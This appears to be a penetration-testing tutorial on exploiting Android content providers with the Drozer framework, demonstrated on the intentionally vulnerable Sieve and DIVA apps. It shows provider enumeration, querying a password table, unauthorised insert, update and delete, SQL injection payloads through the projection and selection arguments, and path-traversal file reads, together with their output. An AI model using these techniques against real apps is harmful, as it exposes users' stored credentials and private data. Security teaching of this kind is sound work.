# Exploiting Content Providers ## Intro A content provider component **supplies data from one application to others** on request. Such requests are handled by the methods of the ContentResolver class. A content provider can use different ways to store its data and the data can be **stored** in a **database**, in **files**, or even over a **network**. It has to be declared inside the _Manifest.xml_ file. Example: ```markup ``` In this case, it's necessary the permission `READ_KEYS` to access `content://com.mwr.example.sieve.DBContentProvider/Keys`\ (_Also, notice that in the next section we are going to access `/Keys/` which isn't protected, that's because the developer got confused and protected `/Keys` but declared `/Keys/`_) **Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal).** ## Get info from **exposed content providers** ``` dz> run app.provider.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Authority: com.mwr.example.sieve.DBContentProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.DBContentProvider Multiprocess Allowed: True Grant Uri Permissions: False Path Permissions: Path: /Keys Type: PATTERN_LITERAL Read Permission: com.mwr.example.sieve.READ_KEYS Write Permission: com.mwr.example.sieve.WRITE_KEYS Authority: com.mwr.example.sieve.FileBackupProvider Read Permission: null Write Permission: null Content Provider: com.mwr.example.sieve.FileBackupProvider Multiprocess Allowed: True Grant Uri Permissions: False ``` We can **reconstruct** part of the content **URIs** to access the **DBContentProvider**, because we know that they must begin with “_content://_” and the information obtained by Drozer inside Path: _/Keys_. Drozer can **guess and try several URIs**: ``` dz> run scanner.provider.finduris -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Unable to Query content://com.mwr.example.sieve.DBContentProvider/ ... Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys Accessible content URIs: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ ``` You should also check the **ContentProvider code** to search for queries: ![](<../../../.gitbook/assets/image (121) (1) (1).png>) Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate` method: ![](<../../../.gitbook/assets/image (186).png>) The query will be like: `content://name.of.package.class/declared_name` ## **Database-backed Content Providers** Probably most of the Content Providers are used as **interface** for a **database**. Therefore, if you can access it you could be able to **extract, update, insert and delete** information.\ Check if you can **access sensitive information** or try to change it to **bypass authorisation** mechanisms. When checking the code of the Content Provider **look** also for **functions** named like: _query, insert, update and delete_: ![](<../../../.gitbook/assets/image (187).png>) ![](<../../../.gitbook/assets/image (254) (1) (1) (1) (1) (1) (1) (1) (1).png>) Because you will be able to call them ### Query content ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical _id: 1 service: Email username: incognitoguy50 password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== - email: incognitoguy50@gmail.com ``` ### Insert content Quering the database you will learn the **name of the columns**, then, you could be able to insert data in the DB: ![](<../../../.gitbook/assets/image (188).png>) ![](<../../../.gitbook/assets/image (189).png>) _Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean_ ### Update content Knowing the name of the columns you could also **modify the entries**: ![](<../../../.gitbook/assets/image (190).png>) ### Delete content ![](<../../../.gitbook/assets/image (191).png>) ### **SQL Injection** It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\ When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_: ![](<../../../.gitbook/assets/image (192).png>) You can try to **abuse** this **parameters** to test for **SQL injections**: ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (') ``` ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--" | type | name | tbl_name | rootpage | sql | | table | android_metadata | android_metadata | 3 | CREATE TABLE ... | | table | Passwords | Passwords | 4 | CREATE TABLE ... | ``` #### Automatic SQLInjection discovery by Drozer ``` dz> run scanner.provider.injection -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Injection in Projection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ Injection in Selection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ dz> run scanner.provider.sqltables -a jakhar.aseem.diva Scanning jakhar.aseem.diva... Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/: android_metadata notes sqlite_sequence ``` ## **File System-backed Content Providers** Content providers could be also used to **access files:** ![](<../../../.gitbook/assets/image (193).png>) ### Read **file** You can read files from the Content Provider ``` dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost ``` ### **Path Traversal** If you can access files, you can try to abuse a Path Traversal (in this case this isn't necessary but you can try to use "_../_" and similar tricks). ``` dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost ``` #### **Automatic Path Traversal discovery by Drozer** ``` dz> run scanner.provider.traversal -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Vulnerable Providers: content://com.mwr.example.sieve.FileBackupProvider/ content://com.mwr.example.sieve.FileBackupProvider ``` ## References * [https://www.tutorialspoint.com/android/android\_content\_providers.htm](https://www.tutorialspoint.com/android/android\_content\_providers.htm) * [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)